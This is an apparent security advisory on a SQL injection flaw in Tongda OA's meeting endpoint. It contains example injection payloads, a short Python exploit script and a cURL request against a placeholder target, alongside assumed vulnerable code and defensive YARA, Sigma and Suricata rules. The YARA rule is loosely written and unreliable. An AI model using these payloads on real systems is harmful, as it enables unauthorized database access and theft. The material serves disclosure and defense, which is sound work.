CVE-2024-10656

Executive Summary

CVE-2024-10656 is a critical SQL injection vulnerability discovered in Tongda OA 2017, affecting versions up to 11.9. The flaw resides in the /pda/meeting/apply.php file, where the mr_id argument is improperly sanitized, allowing remote attackers to inject arbitrary SQL commands. This vulnerability has been publicly disclosed, and exploit details are available, increasing the risk of active exploitation. As of this report, no official patch has been released by Tongda, leaving all affected systems exposed to potential data breaches, unauthorized access, and full compromise of the underlying database.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a custom PHP application (Tongda OA) and should be treated as a proprietary software supply chain risk. Organizations using Tongda OA must assess their exposure and consider compensating controls until a patch is available.

CVSS Breakdown & Threat Level

While the official CVSS vector is not provided, the vulnerability is rated as critical due to the following factors:

• Attack Vector (AV): Network (remote exploitation possible)
• Attack Complexity (AC): Low (no special conditions required)
• Privileges Required (PR): None (unauthenticated access)
• User Interaction (UI): None
• Scope (S): Unchanged
• Confidentiality (C): High (database contents exposed)
• Integrity (I): High (data can be modified)
• Availability (A): High (potential for denial of service via SQL manipulation)

Estimated CVSS Score: 9.8 (Critical)

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the mr_id parameter of the /pda/meeting/apply.php script. The application fails to properly sanitize or parameterize user input before constructing SQL queries. An attacker can inject malicious SQL payloads via the mr_id argument, leading to unauthorized data retrieval, modification, or deletion.

Attack Flow:

1. The attacker sends a crafted HTTP request to the vulnerable endpoint.
2. The mr_id parameter is passed directly into a SQL query without sanitization.
3. The injected SQL code is executed by the database server.
4. The attacker can extract sensitive data (e.g., user credentials, meeting details) or escalate privileges.

Example Payload:

GET /pda/meeting/apply.php?mr_id=1' OR '1'='1' -- 

This payload would return all records from the affected table, bypassing authentication or access controls.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is assumed to be:

Vulnerable Code (PHP):

$mr_id = $_GET['mr_id'];
$sql = "SELECT * FROM meetings WHERE mr_id = $mr_id";
$result = mysqli_query($conn, $sql);

Patched Code (Expected):

$mr_id = intval($_GET['mr_id']);
$sql = "SELECT * FROM meetings WHERE mr_id = ?";
$stmt = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param($stmt, "i", $mr_id);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);

The patched version uses parameterized queries to prevent SQL injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Python 3.x with requests library
• Target URL with Tongda OA 2017 (up to 11.9)

Exploit Script:

import requests

target = "http://target-oa.com/pda/meeting/apply.php"
payload = "1' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- "

params = {"mr_id": payload}
response = requests.get(target, params=params)

if "error" not in response.text.lower():
    print("[+] SQL injection successful!")
    print(response.text)
else:
    print("[-] Exploit failed.")

Manual Exploitation (cURL):

curl -v "http://target-oa.com/pda/meeting/apply.php?mr_id=1' OR '1'='1' -- "

Blue Team (Defensive)

Detection Steps:

1. Monitor web server logs for suspicious mr_id parameters containing SQL keywords (e.g., UNION, SELECT, OR, --).
2. Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
3. Implement input validation and parameterized queries in the application code.

Honeypot Setup:

• Create a fake endpoint mimicking the vulnerable script to capture attacker payloads.
• Log all requests to /pda/meeting/apply.php for analysis.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /pda/meeting/apply.php with unusual mr_id values (e.g., containing SQL syntax).
• Outbound database connections from the web server to unexpected IPs (data exfiltration).

File IOCs:

• Modified or new files in the Tongda OA directory (e.g., webshells).
• Unusual entries in web server access logs (e.g., mr_id=1' UNION SELECT...).

Log IOCs:

• Database error logs showing SQL syntax errors.
• Web server logs with repeated requests to the vulnerable endpoint.

Detection Engineering

YARA Rule

rule CVE_2024_10656_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-10656 in Tongda OA"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-10656"
    strings:
        $sqli1 = "mr_id="
        $sqli2 = "UNION"
        $sqli3 = "SELECT"
        $sqli4 = "OR"
        $sqli5 = "--"
    condition:
        any of ($sqli*) and #sqli1 > 0
}

Sigma Rule

title: CVE-2024-10656 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against Tongda OA /pda/meeting/apply.php
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/pda/meeting/apply.php'
        cs-uri-query|contains|all:
            - 'mr_id='
            - 'UNION'
            - 'SELECT'
    condition: selection
falsepositives:
    - Legitimate use of UNION in rare cases (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10656 SQL Injection Attempt"; flow:to_server; content:"/pda/meeting/apply.php"; http_uri; content:"mr_id="; http_uri; pcre:"/mr_id=.*(UNION|SELECT|OR|--)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems from the internet if possible.
2. Apply virtual patching via WAF rules to block SQL injection patterns.
3. Monitor logs for exploitation attempts.

Long-Term Fixes:

• Upgrade to a patched version once released by Tongda.
• Implement input validation and parameterized queries in all database interactions.
• Conduct a security audit of the entire Tongda OA application.

Compensating Controls:

• Use a database firewall to restrict SQL queries.
• Enable detailed logging and alerting for suspicious database activity.

Valters IT
Securing Digital Frontiers